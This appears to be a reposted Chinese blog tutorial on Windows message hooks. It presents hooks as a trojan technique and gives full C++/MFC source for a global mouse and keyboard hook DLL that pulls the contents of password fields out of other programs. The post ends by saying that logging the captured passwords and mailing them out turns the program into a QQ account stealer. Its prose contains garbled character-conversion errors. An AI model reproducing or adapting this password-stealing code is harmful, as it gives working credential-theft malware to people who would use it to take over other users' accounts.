1、木马控制及通信方法包含:双管道,port重用。反弹技术。Hook技术,今天重点引用介绍一下hook的使用方法,hook信息后能够将结果发送到hacker邮箱等。实现攻击的目的。

转自:http://hi.baidu.com/mousetopshow/item/a951102d679f6e8f9c63d1b0

钩子能截获系统并得理发送给其他应用程序的消息,能完毕一般程序无法完毕的功能。掌握钩子的编程方法是非常有必要的

钩子分类 : 

1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你能够监视发送到窗体过程的消息 

3、WH_DEBUG 调试钩子 

4、WH_FOREGROUNDIDLE 当当应用程序的前台线程大概要变成空暇状态时,系统就会调用 WH_FOREGROUNDIDL 

5、WH_JOURNALRECORD 监视和记录输入事件 

6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件 

7、WH_KEYBOARD 键盘钩子 

9、WH_KEYBOARD_LL 低层键盘钩子 

10、WH_MOUSE 鼠标钩子 

11、WH_MOUSE_LL 底层鼠标钩子 

12、WH_SHELL 外壳钩子

13、WH_MSGFILTER 和 WH_SYSMSGFILTER 使我们能够监视菜单。滚动栏,消息框等

安装钩子: 

调用函数SetWindowsHookEx安装钩子。

其函数原型为:

HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId ) 

idHook表示钩子类型。它是和钩子函数类型一一相应的。如,WH_KEYBOARD, WH_MOUSE。 

Lpfn是钩子函数的地址。

HMod
是钩子函数所在的实例的句柄。

对于线程钩子,该參数为NULL;对于系统钩子。该參数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中) 

dwThreadId
指定钩子所监视的线程的线程号。对于全局钩子,该參数为NULL。 

返回:所安装的钩子句柄。

卸载钩子

调用函数
BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子

定义钩子函数 

  钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后。系统会调用钩子函数进行处理。

一般为下: 

LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam) 

參数wParam和 lParam包括所钩消息的信息,比方鼠标位置、状态,键盘按键等。

nCode包括有关消息本身的信。比方是否从消息队列中移出。

实例: 

以下我们通过安装鼠标钩子。

和键盘钩子还截获输入的password,并可查看*password为例,来说明何何使用钩子。

1. 进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完毕。 

2. 新建一个CGetPassHook 类,基类:CObject,并增加StartHook,StopHook,函数,例如以下:

class AFX_EXT_CLASS CGetPassHook : public CObject
{
public:
BOOL StopHook();
BOOL StartHook(HWND hwnd);
CGetPassHook();
virtual ~CGetPassHook();
};

3:增加全局共享数据。例如以下:

#pragma data_seg("ShareData")
HHOOK hKeyBoardHook=NULL; //keyboard hook
HHOOK hMouseHook=NULL; //mouse hook
HINSTANCE glhInstance=NULL; //globle instance
HWND hOutPutWnd=NULL; //Display Pass Wnd
#pragma data_seg()

4:增加鼠标,键盘钩子处理函数,例如以下:

LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)
{
//鼠标钩子得理函数
LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam; if(nCode>=0)
{
HWND hTargetHwnd=lpMouse->hwnd; //得到鼠标所在窗体句柄 if(hTargetHwnd)
{
LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); //得到它的样式 if(style&ES_PASSWORD) //假设是password框
{
char szPass[255];
::SendMessage(hTargetHwnd, WM_GETTEXT, 255, (LPARAM)szPass); //得到password
::SendMessage(hOutPutWnd, WM_SETTEXT, 0, (LPARAM)szPass); //显示password
}
}
}
return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
//加上这句。就能够继续传递消息,假设没有,则会取消此消息的传递,
//能够起到截儿消息的目的,我们这里调用之。 } LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
//keyboard hook proc
if(nCode>=0)
{
HWND hTargetHwnd=GetActiveWindow(); //get active window
if(hTargetHwnd)
EnumChildWindows(hTargetHwnd,EnumWndProc,0); //枚举全部窗体
} //加上这句,就能够继续传递消息。假设没有,则会取消此消息的传递,
//能够起到截儿消息的目的,我们这里调用之。 return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
}

这里要介绍下EnumChildWindows函数,原形例如以下: 

BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam); 

hWndParent:为枚举窗体的句柄 

lpEnumFunc:枚举函数的地址, 

lParam:这里为0

5:增加枚举窗体的函数。

例如以下:(注意,由于前面的函数据要用到此函数,所以要么在前面声明。要么放在上面函数之前定义。

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{
//enum the child window,find passedit
if(hwnd)
{
LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE if(style&ES_PASSWORD) //是password框
{
char szPass[255];
::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); //得到PASS
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); //显示
return TRUE;
}
} return TRUE;
}

6:在DEF文件里定义段属性: (这步非常重要) 

  SECTIONS 

  mydata READ WRITE SHARED

7:完毕StartHook,StopHook函数,启动/关闭钩子,例如以下:

BOOL CGetPassHook::StartHook(HWND hwnd)
{
//install hoook
hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0); //mouse hook
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0); //keyboard hook
if(hMouseHook&&hKeyBoardHook)
{
hOutPutWnd=hwnd; //显示password的句柄
return TRUE;
}
return FALSE;
} BOOL CGetPassHook::StopHook()
{
//unstall hook
BOOL mHook=UnhookWindowsHookEx(hMouseHook);
BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook); if(mHook && kHook)
{
return TRUE;
} return FALSE;
}

8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量。因此要增加一句。例如以下:

extern HINSTANCE glhInstance; //记得这里
extern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("GETPASS.DLL Initializing!\n");
if (!AfxInitExtensionModule(GetPassDLL, hInstance))
return 0;
new CDynLinkLibrary(GetPassDLL); //得到句柄
glhInstance=hInstance;
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("GETPASS.DLL Terminating!\n");
AfxTermExtensionModule(GetPassDLL);
} return 1; // ok
}

9:编译,完毕DLL部分,

以下建立APP部分。例如以下:

1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace增加到当前工作区,这样方便。

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在文件夹,然后Project->Add to Project-->Files 

选择这两个文件。

2:在主对话框中。增加一个EDIT,ID 为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包括GetPassHook.h文件。声明一个对象。例如以下:

#include "GetPassHook.h"
class CGetPassWordDlg : public CDialog
{
protected:
CGetPassHook m_hook;
。。。
DECLARE_MESSAGE_MAP()
};

4:在实现文件里:OnInitDialog()中起动HOOK

BOOL CGetPassWordDlg::OnInitDialog()
{
//install hook
CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
m_hook.StartHook(pWnd->GetSafeHwnd()); // return TRUE unless you set the focus to a control
return TRUE;
}

5:增加WM_DESTROY消息,在退出程序时停止HOOK,例如以下:

void CGetPassWordDlg::OnDestroy()
{
CDialog::OnDestroy(); //stop hook
m_hook.StopHook();
}

6:将GetPass.dll复制到。EXE一个文件夹下。

7:编译。执行. 

这样,你在输入不论什么password框输入password时,password都将截获。就算键盘HOOK失效。移动鼠标到password框。也都获取*号password,由于我们安装两个HOOK。

启动QQ,输入password,试下看是否已经截获了password?将本程序稍做改动,将截获的password输出到文件。并增加发送邮件攻能,一个QQ盗号器就做成了

hook 鼠标键盘消息实例分析的更多相关文章

  1. HOOK 底层键盘消息---WH_KEYBOARD_LL

    代码:屏蔽三个全局快捷键 代码的作用是屏蔽掉凝视中的三个快捷键. LRESULT CALLBACK LowLevelKeyboardProc (INT nCode, WPARAM wParam, LP ...

  2. hook鼠标键盘记录和回放

    unit Unit1; // download by http://www.codefans.net interface uses Windows, Messages, SysUtils, Class ...

  3. C#全局鼠标键盘Hook

    原文出自:http://www.cnblogs.com/iEgrhn/archive/2008/02/17/1071392.html using System; using System.Collec ...

  4. 【笨嘴拙舌WINDOWS】键盘消息,鼠标消息

    键盘消息 Windows系统无论何时只有一个窗口(可能是子窗口,也就是控件)能获得焦点. 焦点窗口通过windows消息来响应人的键盘操作,与键盘相关的常用消息罗列如下: WM_KEYDOWN   按 ...

  5. TControl的消息覆盖函数大全(15个WM_函数和17个CM_函数,它的WndProc就处理鼠标与键盘消息)

    注意,这些函数只有Private一种形式(也就是不允许覆盖,但仍在动态表格中)(特别注意,这里居然没有WM_PAINT函数): TControl = class(TComponent) private ...

  6. MFC控件编程之鼠标跟键盘消息

    MFC控件编程之鼠标跟键盘消息 在MFC中鼠标消息.键盘消息我们很常用.所以说一下. 鼠标消息分为客户区消息.跟非客户区消息. 一丶客户区消息 我们可以处理消息.来进行我们相应的函数即可. MFC添加 ...

  7. 简单全局HOOK拦截大部分键盘消息

    前言:学习HOOK中,万一老师讲解HOOK入门教程:http://www.cnblogs.com/del/category/124150.html http://www.cnblogs.com/del ...

  8. C#模拟鼠标键盘控制其他窗口(一)

    编写程序模拟鼠标和键盘操作可以方便的实现你需要的功能,而不需要对方程序为你开放接口.比如,操作飞信定时发送短信等.我之前开发过飞信耗子,用的是对飞信协议进行抓包,然后分析协议,进而模拟协议的执行,开发 ...

  9. RPC原理及RPC实例分析

    在学校期间大家都写过不少程序,比如写个hello world服务类,然后本地调用下,如下所示.这些程序的特点是服务消费方和服务提供方是本地调用关系. 1 2 3 4 5 6 public class ...

随机推荐

  1. Kotlin实例----android5.0新特性之palette

    一.Palette的使用 使用Palette可以让我们从一张图片中拾取颜色,将拾取到的颜色赋予ActionBar,StatusBar以及UI背景色可以让界面色调实现统一或者加载不同图片时同步变化色调 ...

  2. JS——选择水果

    注意点: 1.select标签size属性显示选项数组,multiple属性可以多选 2.原select节点下的子节点在移动到其他selec标签下的时候,其原来的select标签下子节点长度在发生变化 ...

  3. c++ 以二进制和以文本方式读写文件的区别

    在c++项目开发中,时常涉及到文件读写操作.因此在这里先简单梳理和回顾一下文本模式和二进制模式在进行文件读写上的区别. 1.linux平台下文本文件和二进制文件的读写 在linux平台下进行文件读写时 ...

  4. The type new View.OnClickListener(){} must implement the inherited abstract method View.Onclicklis

    public class MainActivity extends Activity { protected Button startBrew = null; @Override protected ...

  5. Git学习总结二(版本回退)

    修改修改仓库中readme.txt文件,然后用git status命令看看结果: $ git status On branch master Changes not staged for commit ...

  6. How To: Multipath Linux x86-64 Release 6.4

    [root@node01 ~]# lsb_release -a LSB Version: :base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0 ...

  7. 准备MPI编程环境——Visual Studio

    准备 下载并安装Visual Studio 2017 下载并安装MPI  (建议使用MSMPI,相对简单方便一点,可以从微软官网下载获得) 配置 新建空白项目 在该项目中新建源文件 右击项目-> ...

  8. LNOI2019 退役记

    Day -4 最近这两天智商有点不在线啊..得好好调整作息了,滚粗感++ 复习模板好啊 下午睡了一觉,智商似乎回来了一丢丢,滚粗感-- Day -3 智商略有回暖,滚粗感-- 明天有模拟赛,要加油啊 ...

  9. 手撸HashMap实现

    前言 HashMap是Java中常用的集合,而且HashMap的一些思想,对于我们平时解决业务上的一些问题,在思路上有帮助,基于此,本篇博客将分析HashMap底层设计思想,并手写一个迷你版的Hash ...

  10. axios的基本概念和安装以及配置方法

    ajax:异步请求,是一种无需再重新加载整个网页的情况下,能够更新部分网页的技术 axios:用于浏览器和node.js的基于promise的HTTP客户端 1.从浏览器制作XMLHttpReques ...